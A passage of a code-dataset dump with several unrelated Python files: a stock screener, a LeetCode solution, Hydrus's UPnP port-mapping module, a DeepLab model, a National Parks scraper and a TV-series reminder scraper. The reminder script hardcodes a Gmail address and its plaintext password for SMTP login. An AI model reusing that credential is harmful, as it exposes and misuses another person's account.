begin=0, end=continuous_up)\n data_frame.loc[i, COL_AVERAGE_P_CHANGE] = api.daily_average_p_change(daily=daily, begin=0, end=continuous_up)\n data_frame.loc[i, COL_ACCUMULATE_P_CHANGE] = api.daily_accumulate_p_change(daily=daily, begin=0, end=continuous_up)\n data_frame.loc[i, COL_PRE_ACCUMULATE_P_CHANGE] = api.daily_accumulate_p_change(daily=daily, begin=continuous_up, end=continuous_up * 2)\n data_frame.loc[i, COL_LAST_MA20_GAP] = round(daily.close[0] - api.daily_ma(daily=daily, begin=0, end=1, step=20)[0], 2)\n except Exception as e:\n print('excetion in {}'.format(i))\n continue\n print('##### {i} #####'.format(i=i))\n time.sleep(0.1)\n\n data_frame = data_frame[\n (data_frame['circ_mv'] < 1000000)\n & (data_frame[COL_CONTINUOUSLY_UP] > 1)\n & (data_frame[COL_AVERAGE_P_CHANGE] > 5)\n # & (data_frame[COL_ACCUMULATE_P_CHANGE] > 5)\n & (data_frame[COL_PRE_ACCUMULATE_P_CHANGE] < data_frame[COL_ACCUMULATE_P_CHANGE])\n & (data_frame[COL_LAST_MA20_GAP] > 0)\n ]\n\n # industrys = dict()\n # for industry in data_frame.industry:\n # if industry in industrys:\n # industrys[industry] = industrys[industry] + 1\n # else:\n # industrys[industry] = 1\n #\n # industry_frame = DataFrame()\n # for i, industry in enumerate(industrys):\n # industry_frame.loc[i, 'industry'] = industry\n # industry_frame.loc[i, 'count'] = industrys[industry]\n\n sorted_frame = data_frame.sort_values(by=COL_CONTINUOUSLY_UP, ascending=False)\n\n file_name = '../logs/{date}@ContinuouslyUp.csv'.format(date=LAST_MARKET_DATE)\n # print(fileName)\n with open(file_name, 'w', encoding='utf8') as file:\n sorted_frame.to_csv(file)\n # for key in industrys:\n # file.writelines('{key} {count}\\n'.format(key=key, count=industrys[key]))\n\n # file_name = '../logs/{date}@ContinuouslyUp_industry.csv'.format(date=LAST_MARKET_DATE)\n # with open(file_name, 'w', encoding='utf8') as file:\n # industry_frame.to_csv(file)\n\n\nif __name__ == '__main__':\n main()","sub_path":"legacy/_21ContinuouslyUp.py","file_name":"_21ContinuouslyUp.py","file_ext":"py","file_size_in_byte":4177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"224746031","text":"\n# Given n non-negative integers a1, a2, ..., an , where each represents a point at coordinate (i, ai). \n# n vertical lines are drawn such that the two endpoints of line i is at (i, ai) and (i, 0). \n# Find two lines, which together with x-axis forms a container, such that the container contains the most water.\n\n# Note: You may not slant the container and n is at least 2.\n\n# 两边夹的面积,其他边的高度不占用水的空间,和Trapping Rain Water不一样,中间的边占用水的空间\n\n\nclass Solution(object):\n def maxArea(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n max_area, i, j = 0, 0, len(height) - 1\n while i < j:\n max_area = max(max_area, min(height[i], height[j]) * (j - i))\n if height[i] < height[j]:\n i += 1\n else:\n j -= 1\n return max_area\n\nclass Solution(object):\n def maxArea(self, height):\n \"\"\"\n :type height: List[int]\n :rtype: int\n \"\"\"\n # two pointers, time O(n), space O(1).\n # the area formed between the lines will always be limited by the height of the shorter line. Further, the farther the lines, the more will be the area obtained.\n # Initially we consider the area constituting the exterior most lines. \n # Now, to maximize the area, we need to consider the area between the lines of larger lengths. \n # If we try to move the pointer at the longer line inwards, we won't gain any increase in area, \n # since it is limited by the shorter line. But moving the shorter line's pointer could turn out to be beneficial, \n # as per the same argument, despite the reduction in the width. \n # This is done since a relatively longer line obtained by moving the shorter line's pointer might overcome the reduction in area caused by the width reduction.\n n = len(height)\n i, j = 0, n - 1\n res = 0\n while i < j:\n # # max_area = max(max_area, min(height[i], height[j]) * (j - i)) # or use this\n if height[i] > height[j]: # 移动高的边不会增加面积(因为取决低的边),所以移动低的边,看有没有可能使面积更大\n res = max(res, height[j] * (j - i))\n j -= 1 # move the pointer pointing to the shorter line towards the other end by one step.\n else:\n res = max(res, height[i] * (j - i))\n i += 1\n return res\n \nif __name__==\"__main__\":\n print(Solution().maxArea([1, 2, 3, 4, 3, 2, 1, 5]))","sub_path":"11. Container With Most Water.py","file_name":"11. Container With Most Water.py","file_ext":"py","file_size_in_byte":2607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"138318734","text":"from . import HydrusConstants as HC\nfrom . import HydrusData\nfrom . import HydrusExceptions\nfrom . import HydrusText\nimport os\nimport socket\nimport subprocess\nfrom . import HydrusLocking\nimport threading\nimport traceback\n\n# new stuff starts here\n\nif HC.PLATFORM_LINUX:\n \n upnpc_path = os.path.join( HC.BIN_DIR, 'upnpc_linux' )\n \nelif HC.PLATFORM_OSX:\n \n upnpc_path = os.path.join( HC.BIN_DIR, 'upnpc_osx' )\n \nelif HC.PLATFORM_WINDOWS:\n \n upnpc_path = os.path.join( HC.BIN_DIR, 'upnpc_win32.exe' )\n \n\nEXTERNAL_IP = {}\nEXTERNAL_IP[ 'ip' ] = None\nEXTERNAL_IP[ 'time' ] = 0\n\ndef GetExternalIP():\n \n if HydrusData.TimeHasPassed( EXTERNAL_IP[ 'time' ] + ( 3600 * 24 ) ):\n \n cmd = [ upnpc_path, '-l' ]\n \n sbp_kwargs = HydrusData.GetSubprocessKWArgs( text = True )\n \n p = subprocess.Popen( cmd, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE, **sbp_kwargs )\n \n HydrusData.WaitForProcessToFinish( p, 30 )\n \n ( stdout, stderr ) = p.communicate()\n \n if stderr is not None and len( stderr ) > 0:\n \n raise Exception( 'Problem while trying to fetch External IP:' + os.linesep * 2 + str( stderr ) )\n \n else:\n \n try:\n \n lines = HydrusText.DeserialiseNewlinedTexts( stdout )\n \n i = lines.index( 'i protocol exPort->inAddr:inPort description remoteHost leaseTime' )\n \n # ExternalIPAddress = ip\n ( gumpf, external_ip_address ) = lines[ i - 1 ].split( ' = ' )\n \n except ValueError:\n \n raise Exception( 'Could not parse external IP!' )\n \n \n if external_ip_address == '0.0.0.0':\n \n raise Exception( 'Your UPnP device returned your external IP as 0.0.0.0! Try rebooting it, or overwrite it in options!' )\n \n \n EXTERNAL_IP[ 'ip' ] = external_ip_address\n EXTERNAL_IP[ 'time' ] = HydrusData.GetNow()\n \n \n \n return EXTERNAL_IP[ 'ip' ]\n \ndef GetLocalIP():\n \n return socket.gethostbyname( socket.gethostname() )\n \ndef AddUPnPMapping( internal_client, internal_port, external_port, protocol, description, duration = 3600 ):\n \n cmd = [ upnpc_path, '-e', description, '-a', internal_client, str( internal_port ), str( external_port ), protocol, str( duration ) ]\n \n sbp_kwargs = HydrusData.GetSubprocessKWArgs( text = True )\n \n p = subprocess.Popen( cmd, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE, **sbp_kwargs )\n \n HydrusData.WaitForProcessToFinish( p, 30 )\n \n ( stdout, stderr ) = p.communicate()\n \n if 'x.x.x.x:' + str( external_port ) + ' TCP is redirected to internal ' + internal_client + ':' + str( internal_port ) in stdout:\n \n raise HydrusExceptions.FirewallException( 'The UPnP mapping of ' + internal_client + ':' + internal_port + '->external:' + external_port + ' already exists as a port forward. If this UPnP mapping is automatic, please disable it.' )\n \n \n if stdout is not None and 'failed with code' in stdout:\n \n if 'UnknownError' in stdout:\n \n raise HydrusExceptions.FirewallException( 'Problem while trying to add UPnP mapping:' + os.linesep * 2 + stdout )\n \n else:\n \n raise Exception( 'Problem while trying to add UPnP mapping:' + os.linesep * 2 + stdout )\n \n \n \n if stderr is not None and len( stderr ) > 0:\n \n raise Exception( 'Problem while trying to add UPnP mapping:' + os.linesep * 2 + stderr )\n \n \ndef GetUPnPMappings():\n \n cmd = [ upnpc_path, '-l' ]\n \n sbp_kwargs = HydrusData.GetSubprocessKWArgs( text = True )\n \n p = subprocess.Popen( cmd, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE, **sbp_kwargs )\n \n HydrusData.WaitForProcessToFinish( p, 30 )\n \n ( stdout, stderr ) = p.communicate()\n \n if stderr is not None and len( stderr ) > 0:\n \n raise Exception( 'Problem while trying to fetch UPnP mappings:' + os.linesep * 2 + stderr )\n \n else:\n \n try:\n \n lines = HydrusText.DeserialiseNewlinedTexts( stdout )\n \n i = lines.index( 'i protocol exPort->inAddr:inPort description remoteHost leaseTime' )\n \n data_lines = []\n \n i += 1\n \n while i < len( lines ):\n \n if not lines[ i ][0] in ( ' ', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9' ): break\n \n data_lines.append( lines[ i ] )\n \n i += 1\n \n \n processed_data = []\n \n for line in data_lines:\n \n # 0 UDP 65533->192.168.0.197:65533 'Skype UDP at 192.168.0.197:65533 (2665)' '' 0\n \n while ' ' in line:\n \n line = line.replace( ' ', ' ' )\n \n \n if line.startswith( ' ' ):\n \n ( empty, number, protocol, mapping_data, rest_of_line ) = line.split( ' ', 4 )\n \n else:\n \n ( number, protocol, mapping_data, rest_of_line ) = line.split( ' ', 3 )\n \n \n ( external_port, rest_of_mapping_data ) = mapping_data.split( '->' )\n \n external_port = int( external_port )\n \n if rest_of_mapping_data.count( ':' ) == 1:\n \n ( internal_client, internal_port ) = rest_of_mapping_data.split( ':' )\n \n else:\n \n parts = rest_of_mapping_data.split( ':' )\n \n internal_port = parts.pop( -1 )\n \n internal_client = ':'.join( parts )\n \n \n internal_port = int( internal_port )\n \n ( empty, description, space, remote_host, rest_of_line ) = rest_of_line.split( '\\'', 4 )\n \n lease_time = int( rest_of_line[1:] )\n \n processed_data.append( ( description, internal_client, internal_port, external_port, protocol, lease_time ) )\n \n \n return processed_data\n \n except Exception as e:\n \n HydrusData.Print( 'UPnP problem:' )\n HydrusData.Print( traceback.format_exc() )\n HydrusData.Print( 'Full response follows:' )\n HydrusData.Print( stdout )\n \n raise Exception( 'Problem while trying to parse UPnP mappings:' + os.linesep * 2 + str( e ) )\n \n \n \ndef RemoveUPnPMapping( external_port, protocol ):\n \n cmd = [ upnpc_path, '-d', str( external_port ), protocol ]\n \n sbp_kwargs = HydrusData.GetSubprocessKWArgs( text = True )\n \n p = subprocess.Popen( cmd, stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE, **sbp_kwargs )\n \n HydrusData.WaitForProcessToFinish( p, 30 )\n \n ( stdout, stderr ) = p.communicate()\n \n if stderr is not None and len( stderr ) > 0: raise Exception( 'Problem while trying to remove UPnP mapping:' + os.linesep * 2 + stderr )\n \n\nclass ServicesUPnPManager( object ):\n \n def __init__( self, services ):\n \n self._lock = HydrusLocking.LogLock('ServicesUPnPManager')\n \n self._services = services\n \n \n def _RefreshUPnP( self, force_wipe = False ):\n \n if not force_wipe:\n \n running_service_with_upnp = True in ( service.GetPort() is not None and service.GetUPnPPort() is not None for service in self._services )\n \n if not running_service_with_upnp:\n \n return\n \n \n \n try:\n \n local_ip = GetLocalIP()\n \n current_mappings = GetUPnPMappings()\n \n our_mappings = { ( internal_client, internal_port ) : external_port for ( description, internal_client, internal_port, external_port, protocol, enabled ) in current_mappings }\n \n except:\n \n return # This IGD probably doesn't support UPnP, so don't spam the user with errors they can't fix!\n \n \n for service in self._services:\n \n internal_port = service.GetPort()\n upnp_port = service.GetUPnPPort()\n \n if ( local_ip, internal_port ) in our_mappings:\n \n current_external_port = our_mappings[ ( local_ip, internal_port ) ]\n \n port_is_incorrect = upnp_port is None or upnp_port != current_external_port\n \n if port_is_incorrect or force_wipe:\n \n RemoveUPnPMapping( current_external_port, 'TCP' )\n \n \n \n \n \n for service in self._services:\n \n internal_port = service.GetPort()\n upnp_port = service.GetUPnPPort()\n \n if upnp_port is not None:\n \n service_type = service.GetServiceType()\n \n protocol = 'TCP'\n \n description = HC.service_string_lookup[ service_type ] + ' at ' + local_ip + ':' + str( internal_port )\n \n duration = 86400\n \n try:\n \n AddUPnPMapping( local_ip, internal_port, upnp_port, protocol, description, duration = duration )\n \n except HydrusExceptions.FirewallException:\n \n HydrusData.Print( 'The UPnP Daemon tried to add ' + local_ip + ':' + internal_port + '->external:' + upnp_port + ' but it failed due to router error. Please try it manually to get a full log of what happened.' )\n \n return\n \n \n \n \n \n def SetServices( self, services ):\n \n with self._lock:\n \n self._services = services\n \n self._RefreshUPnP( force_wipe = True )\n \n \n \n def RefreshUPnP( self ):\n \n with self._lock:\n \n self._RefreshUPnP()\n \n \n \n","sub_path":"include/HydrusNATPunch.py","file_name":"HydrusNATPunch.py","file_ext":"py","file_size_in_byte":10991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"12448060","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom model.sync_batchnorm.batchnorm import SynchronizedBatchNorm2d\nfrom model.aspp import build_aspp\nfrom model.decoder import build_decoder\nfrom model.backbone import build_backbone\n\nclass DeepLab(nn.Module):\n def __init__(self, args):\n super(DeepLab, self).__init__()\n if args.backbone == 'drn':\n output_stride = 8\n else:\n output_stride = args.output_stride\n\n if args.sync_bn == True:\n BatchNorm = SynchronizedBatchNorm2d\n else:\n BatchNorm = nn.BatchNorm2d\n\n self.backbone = build_backbone(args.backbone, output_stride, BatchNorm)\n self.aspp = build_aspp(args.backbone, output_stride, BatchNorm)\n self.decoder = build_decoder(args.num_classes, args.backbone, BatchNorm)\n self.freeze_bn = args.freeze_bn\n\n def forward(self, input):\n x, low_level_feat = self.backbone(input)\n x = self.aspp(x)\n x = self.decoder(x, low_level_feat)\n x = F.interpolate(x, size=input.size()[2:], mode='bilinear', align_corners=True)\n\n return x\n\n def freeze_bn(self):\n for m in self.modules():\n if isinstance(m, SynchronizedBatchNorm2d):\n m.eval()\n elif isinstance(m, nn.BatchNorm2d):\n m.eval()\n\n def get_1x_lr_params(self):\n modules = [self.backbone]\n for i in range(len(modules)):\n for m in modules[i].named_modules():\n if self.freeze_bn:\n if isinstance(m[1], nn.Conv2d):\n for p in m[1].parameters():\n if p.requires_grad:\n yield p\n else:\n if isinstance(m[1], nn.Conv2d) or isinstance(m[1], SynchronizedBatchNorm2d) \\\n or isinstance(m[1], nn.BatchNorm2d):\n for p in m[1].parameters():\n if p.requires_grad:\n yield p\n\n def get_10x_lr_params(self):\n modules = [self.aspp, self.decoder]\n for i in range(len(modules)):\n for m in modules[i].named_modules():\n if self.freeze_bn:\n if isinstance(m[1], nn.Conv2d):\n for p in m[1].parameters():\n if p.requires_grad:\n yield p\n else:\n if isinstance(m[1], nn.Conv2d) or isinstance(m[1], SynchronizedBatchNorm2d) \\\n or isinstance(m[1], nn.BatchNorm2d):\n for p in m[1].parameters():\n if p.requires_grad:\n yield p\n\n\n","sub_path":"model/deeplab.py","file_name":"deeplab.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"311533792","text":"\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport json\r\nimport secrets\r\nfrom requests_oauthlib import OAuth1\r\n\r\nbaseurl = 'https://www.nps.gov'\r\n\r\nt_key = secrets.twitter_api_key\r\nt_sec = secrets.twitter_api_secret\r\nt_access = secrets.twitter_access_token\r\nt_access_sec = secrets.twitter_access_token_secret\r\n\r\nprotected_url = 'https://api.twitter.com/1.1/search/tweets.json'\r\nurl = 'https://api.twitter.com/1.1/account/verify_credentials.json'\r\nauth = OAuth1(t_key, t_sec, t_access, t_access_sec)\r\nresponse = requests.get(url, auth=auth)\r\n\r\n\r\nCACHE_FNAME = 'cache.json'\r\ntry:\r\n cache_file = open(CACHE_FNAME, 'r')\r\n cache_contents = cache_file.read()\r\n CACHE_DICTION = json.loads(cache_contents)\r\n cache_file.close()\r\n\r\n\r\nexcept:\r\n CACHE_DICTION = {}\r\n\r\ndef get_unique_key(url):\r\n return url\r\n\r\ndef make_request_using_cache(url):\r\n unique_ident = get_unique_key(url)\r\n\r\n ## first, look in the cache to see if we already have this data\r\n if unique_ident in CACHE_DICTION:\r\n return CACHE_DICTION[unique_ident]\r\n\r\n ## if not, fetch the data afresh, add it to the cache,\r\n ## then write the cache to file\r\n else:\r\n # Make the request and cache the new data\r\n resp = requests.get(url)\r\n CACHE_DICTION[unique_ident] = resp.text\r\n dumped_json_cache = json.dumps(CACHE_DICTION)\r\n fw = open(CACHE_FNAME,\"w\")\r\n fw.write(dumped_json_cache)\r\n fw.close() # Close the open file\r\n return CACHE_DICTION[unique_ident]\r\n\r\ndef getWithCaching(baseURL, params={}):\r\n req = requests.Request(method = 'GET', url =baseURL, params = sorted(params.items()))\r\n prepped = req.prepare()\r\n fullURL = prepped.url\r\n if fullURL not in CACHE_DICTION:\r\n response = requests.Session().send(prepped)\r\n CACHE_DICTION[fullURL] = response.text\r\n\r\n cache_file = open(CACHE_FNAME, 'w')\r\n cache_file.write(json.dumps(CACHE_DICTION))\r\n cache_file.close()\r\n return CACHE_DICTION[fullURL]\r\n\r\ndef params_unique_combination(baseurl, params):\r\n alphabetized_keys = sorted(params.keys())\r\n res = []\r\n baseurl = protected_url\r\n for k in alphabetized_keys:\r\n res.append(\"{}-{}\".format(k, params[k]))\r\n return baseurl + \"_\".join(res)\r\n\r\ndef twitter_cache(baseurl, params):\r\n unique_ident = params_unique_combination(protected_url,params)\r\n\r\n ## first, look in the cache to see if we already have this data\r\n if unique_ident in CACHE_DICTION:\r\n return CACHE_DICTION[unique_ident]\r\n\r\n ## if not, fetch the data afresh, add it to the cache,\r\n ## then write the cache to file\r\n else:\r\n # Make the request and cache the new data\r\n response = requests.get(protected_url, params, auth=auth)\r\n CACHE_DICTION[unique_ident] = json.loads(response.text)\r\n dumped_json_cache = json.dumps(CACHE_DICTION)\r\n fw = open(CACHE_FNAME,\"w\")\r\n fw.write(dumped_json_cache)\r\n fw.close() # Close the open file\r\n return CACHE_DICTION[unique_ident]\r\n\r\n\r\nclass NationalSite:\r\n def __init__(self, type, name, desc):\r\n self.type = type\r\n self.name = name\r\n self.description = desc\r\n self.url =''\r\n\r\n self.address_street = ''\r\n self.address_city = ''\r\n self.address_state = ''\r\n self.address_zip = ''\r\n\r\n def __str__(self):\r\n return self.name + \" (\" + self.type + \")\" + \": \" + self.address_street + \", \" + self.address_city + \", \" + self.address_state+ \" \" + self.address_zip\r\n\r\n\r\n\r\nclass NearbyPlace():\r\n def __init__(self, name):\r\n self.name = name\r\n\r\n def __str__(self):\r\n return self.name\r\n\r\nclass Tweet:\r\n def __init__(self):\r\n self.is_retweet = True\r\n self.username = ''\r\n self.creationdate = ''\r\n self.numretweets = ''\r\n self.numfavorites = ''\r\n self.id = ''\r\n self.text = ''\r\n self.popularity_score = 0\r\n\r\n def __str__(self):\r\n return '@' + self.username + ': ' + self.text + '\\n' + '[retweeted ' + self.numretweets + ' times]' + '\\n' + '[favorited ' + self.numfavorites + ' times]' + '\\n' + '[popularity ' + str(self.popularity_score) + ']' + '\\n' + '[tweeted on ' + self.creationdate + ' | ' + self.id + ']'\r\n\r\n\r\n## Must return the list of NationalSites for the specified state\r\n## param: the 2-letter state abbreviation, lowercase\r\n## (OK to make it work for uppercase too)\r\n## returns: all of the NationalSites\r\n## (e.g., National Parks, National Heritage Sites, etc.) that are listed\r\n## for the state at nps.gov\r\n\r\n\r\nsites_results = []\r\ndef get_sites_for_state(state_abbr):\r\n surl = make_request_using_cache(baseurl + '/state/' + state_abbr + '/index.htm')\r\n soup = BeautifulSoup(surl, 'html.parser')\r\n parse = soup.find(\"ul\", id=\"list_parks\")\r\n\r\n site_url_tag = []\r\n for i in parse.find_all('h3'):\r\n site_url_tag.append((i.a)['href'])\r\n\r\n names = []\r\n types = []\r\n address = []\r\n desc = []\r\n street = []\r\n city = []\r\n zip = []\r\n\r\n\r\n #names\r\n for i in parse.find_all('h3'):\r\n names.append(i.text)\r\n\r\n\r\n #types\r\n for i in parse.find_all('h2'):\r\n if i.text == '':\r\n types.append('No type')\r\n else:\r\n types.append(i.text)\r\n\r\n\r\n #descriptions\r\n for i in parse.find_all('p'):\r\n desc.append(i.text)\r\n\r\n\r\n #address\r\n for i in site_url_tag:\r\n aurl = make_request_using_cache(baseurl + i + 'index.htm')\r\n address_soup = BeautifulSoup(aurl, 'html.parser')\r\n\r\n try:\r\n street_str = address_soup.find('span', class_='street-address').text\r\n if street_str == None:\r\n street.append(\"None\")\r\n else:\r\n street.append((street_str).replace('\\n', ''))\r\n except:\r\n street_str = address_soup.find('span', class_='street-address')\r\n if street_str == None:\r\n street.append(\"None\")\r\n else:\r\n street.append((street_str))\r\n\r\n\r\n try:\r\n city_1 = address_soup.find('span', itemprop='addressLocality').text\r\n city.append(city_1)\r\n except:\r\n city_1 = address_soup.find('span', itemprop='addressLocality')\r\n city.append(city_1)\r\n\r\n\r\n try:\r\n zip1 = address_soup.find('span', class_='postal-code').text.replace(' ','')\r\n if zip1 == None:\r\n zip.append('None')\r\n else:\r\n zip.append(zip1)\r\n except:\r\n zip1 = address_soup.find('span', class_='postal-code')\r\n if zip1 == None:\r\n zip.append('None')\r\n else:\r\n zip.append(zip1)\r\n\r\n zip1 = address_soup.find('span', class_='postal-code')\r\n if zip1 == None:\r\n zip.append('None')\r\n else:\r\n zip.append(zip1)\r\n\r\n count = 0\r\n for i in names:\r\n i = NationalSite(types[count], names[count], desc[count])\r\n i.address_city = city[count]\r\n i.address_zip = zip[count]\r\n i.address_state = address_soup.find('span', class_='region').text\r\n i.address_street = street[count]\r\n sites_results.append(i)\r\n count += 1\r\n return (sites_results)\r\n\r\n\r\n\r\n## Must return the list of NearbyPlaces for the specified NationalSite\r\n## param: a NationalSite object\r\n## returns: a list of NearbyPlaces within 10km of the given site\r\n## if the site is not found by a Google Places search, this should\r\n## return an empty list\r\n\r\nlist_of_nearby = []\r\ndef get_nearby_places_for_site(site_object):\r\n\r\n key = secrets.google_places_key\r\n\r\n\r\n #grab latitude and longitude for site_object\r\n geocode_url = 'https://maps.googleapis.com/maps/api/geocode/json'\r\n geocode_params = {'key':key, 'address':site_object}\r\n\r\n grab = getWithCaching(geocode_url, params = geocode_params)\r\n geo_data = json.loads(grab)\r\n google_location = geo_data['results'][0]['geometry']['location']\r\n lat = google_location['lat']\r\n lng = google_location['lng']\r\n lat_lng = \"{}, {}\".format(lat, lng)\r\n\r\n\r\n #nearby search\r\n\r\n\r\n nearby_url = 'https://maps.googleapis.com/maps/api/place/nearbysearch/json'\r\n nearby_params = {'key':key, 'location':lat_lng, 'radius':10000}\r\n\r\n nearby_grab = getWithCaching(nearby_url, params = nearby_params)\r\n nearby_data = json.loads(nearby_grab)\r\n\r\n\r\n for i in nearby_data['results']:\r\n j = NearbyPlace(i['name'])\r\n list_of_nearby.append(j)\r\n\r\n return list_of_nearby\r\n\r\n\r\n\r\n## Must return the list of Tweets that mention the specified NationalSite\r\n## param: a NationalSite object\r\n## returns: a list of up to 10 Tweets, in descending order of \"popularity\"\r\n\r\nvessel = []\r\ndef get_tweets_for_site(site_object):\r\n\r\n params = {'q':site_object, 'count':10}\r\n r = twitter_cache(protected_url, params=params)\r\n data = r['statuses']\r\n\r\n\r\n for twt in data:\r\n i = Tweet()\r\n i.text = str(twt['text'].encode('utf-8'))\r\n i.id = str(twt['id'])\r\n i.username = str(twt['user']['name'].encode('utf-8'))\r\n i.creationdate = str(twt['created_at'])\r\n i.numretweets = str(twt['retweet_count'])\r\n i.numfavorites = str(twt['favorite_count'])\r\n i.popularity_score = int(i.numretweets) * 2 + int(i.numfavorites) * 3\r\n vessel.append(i)\r\n\r\n\r\n\r\ndef activation():\r\n\r\n while True:\r\n\r\n help = \"list \" + '\\n' + ' available anytime' + '\\n' + ' lists all National Sites in a state' + '\\n' + ' valid inputs: a two-letter state abbreviation' + '\\n'+ '\\n' + \"nearby \" + '\\n' + ' available only if there is an active result set' + '\\n' + ' lists all Places in a given result' + '\\n' + ' valid inputs: an integer 1-len(result_set_size)' + '\\n' + '\\n' + 'tweets ' + '\\n' + ' available only if there is an active result set' + '\\n' + ' lists up to 10 most \"popular\" tweets that mention the selected Site' + '\\n'+'\\n' + 'exit' + '\\n' + ' exits the program' + '\\n' + '\\n' + 'help' + '\\n' + ' lists available commands (these instructions)'\r\n\r\n #initialization\r\n begin = input(\"Enter 'list ' command or ('help' for options):\")\r\n abbrev = ''\r\n\r\n if begin == 'help':\r\n print (help)\r\n elif begin == 'exit':\r\n print ('Bye!')\r\n break\r\n\r\n #makes sure 'list ' gets called to retrieve results_set first\r\n #if no called, returns no result set\r\n elif 'list' not in begin:\r\n print ('Command not valid! Start over, please')\r\n\r\n #if called, stores the user-inputted state abbrev\r\n elif 'list' in begin:\r\n\r\n result_count = 1\r\n dict = {}\r\n abbrev = begin[-2:]\r\n\r\n if len(sites_results) > 0:\r\n sites_results.clear()\r\n get_sites_for_state(abbrev)\r\n\r\n for i in sites_results:\r\n print (str(result_count) + ' '+ str(i))\r\n print ('\\n')\r\n dict[result_count] = i\r\n result_count += 1\r\n\r\n\r\n\r\n\r\n begin = input(\"Enter 'nearby ' or 'tweets ' commands or ('help' for options):\")\r\n\r\n if begin[0:6] == 'nearby':\r\n if len(list_of_nearby) > 0:\r\n list_of_nearby.clear()\r\n\r\n number = int(begin[7:])\r\n search = dict[number].name + ' ' + dict[number].type\r\n get_nearby_places_for_site(search)\r\n\r\n try:\r\n for i in list_of_nearby:\r\n print ('\\n')\r\n print (i)\r\n\r\n except:\r\n print ('Command not valid! Start over, please')\r\n site_results = []\r\n\r\n elif begin == 'help':\r\n print (help)\r\n elif begin == 'exit':\r\n print ('Bye!')\r\n break\r\n\r\n\r\n elif begin[0:6] == 'tweets':\r\n\r\n if len(vessel) > 0:\r\n vessel.clear()\r\n\r\n number = int(begin[7:])\r\n search = dict[number].name + ' ' + dict[number].type\r\n get_tweets_for_site(search)\r\n\r\n try:\r\n if len(vessel) > 0:\r\n for i in sorted(vessel, key=lambda i: i.popularity_score, reverse=True):\r\n print ('\\n')\r\n print (i)\r\n elif len(vessel) == 0:\r\n print ('No tweets!')\r\n\r\n\r\n except:\r\n print ('Command not valid! Start over, please')\r\n\r\n else:\r\n print ('Command not valid! Start over, please')\r\n\r\n\r\nif __name__ == '__main__':\r\n activation()\r\n","sub_path":"National Parks.py","file_name":"National Parks.py","file_ext":"py","file_size_in_byte":12166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"486710023","text":"import requests \r\nfrom bs4 import BeautifulSoup as BS\r\nfrom datetime import datetime\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\nimport smtplib\r\nimport mysql.connector\r\n\r\ndef send_mail(to,msg):\r\n body=MIMEMultipart()\r\n body['From']='tv.series.reminder.noreply@gmail.com'\r\n body['To']=to\r\n body['Subject'] ='Reminder Mail for TV Series'\r\n body.attach(MIMEText(msg,'plain'))\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.ehlo()\r\n server.starttls()\r\n server.ehlo()\r\n server.login(\"tv.series.reminder.noreply@gmail.com\", \"admin@123J\")\r\n server.sendmail('tv.series.reminder.noreply@gmail.com',to,body.as_string())\r\n print('Check your Inbox')\r\n \r\ndef scrap(email,x):\r\n query=x.replace(' ', '%20')\r\n url_ = \"https://www.imdb.com/find?q=\"+query.lower()+\"&s=tt&ttype=tv&ref_=fn_tv\"\r\n r = requests.get(url_,{}) \r\n soup = BS(r.text,'lxml')\r\n \r\n result=soup.find_all(class_='result_text')\r\n \r\n link=\"https://www.imdb.com\" \r\n if len(result)==0:\r\n print('No such series found')\r\n return ''\r\n name=result[0].text.strip()\r\n if 'movie' in result[0].text.lower().replace('.',''):\r\n print('No such series found')\r\n return ''\r\n\r\n if x.lower().replace('.','').replace('-','') in result[0].text.lower().replace('.','').replace('-',''):\r\n if x.lower().replace('.','').replace('-','')==result[0].text.lower().replace('.','').replace('-',''):\r\n link+=result[0].find('a').attrs['href']\r\n else:\r\n print(\"Did you mean: \"+name+\" ? [y/n]:\")\r\n op=input()\r\n if op.lower()=='y':\r\n link+=result[0].find('a').attrs['href']\r\n else:\r\n return ''\r\n else:\r\n print(\"Did you mean: \"+name+\" ? [y/n]:\")\r\n op=input()\r\n if op.lower()=='y':\r\n link+=result[0].find('a').attrs['href']\r\n else:\r\n return ''\r\n \r\n \r\n\r\n r = requests.post(link,{})\r\n\r\n \r\n soup = BS(r.text,'lxml')\r\n z=soup.find_all('div',class_='seasons-and-year-nav')\r\n link=\"https://www.imdb.com\"\r\n link+=z[0].find('a').attrs['href']\r\n \r\n r = requests.post(link,{})\r\n\r\n soup = BS(r.text,'lxml')\r\n z=soup.find_all('div',class_='airdate')\r\n present=datetime.now()\r\n prefix=''\r\n msg=''\r\n idx=0\r\n for dt in z:\r\n var=dt.text.replace('\\n','').replace('.','')\r\n spl=var.strip().split(' ')\r\n obj=datetime.now()\r\n spl=list(filter(None,spl))\r\n if len(spl)==3:\r\n obj=datetime.strptime(spl[0]+spl[1]+spl[2],\"%d%b%Y\")\r\n if obj>present:\r\n if idx==0:\r\n prefix='Next season of '\r\n else:\r\n prefix='Next episode of '\r\n msg=' will Air on ' +spl[0]+\" \"+spl[1]+\" \"+spl[2]\r\n break\r\n elif len(spl)==2:\r\n if idx==0:\r\n prefix='Next season of '\r\n else:\r\n prefix='Next episode of '\r\n msg=' will Air in '+spl[0]+\" \"+spl[1]\r\n elif len(spl)==1:\r\n if idx==0:\r\n prefix='Next season of '\r\n else:\r\n prefix='Next episode of '\r\n msg=' will Air in '+spl[0]\r\n else:\r\n prefix='The Air date for next episode of '\r\n msg=' is not known'\r\n break\r\n idx+=1\r\n if msg=='':\r\n prefix=''\r\n msg=' is no more being streamed'\r\n return 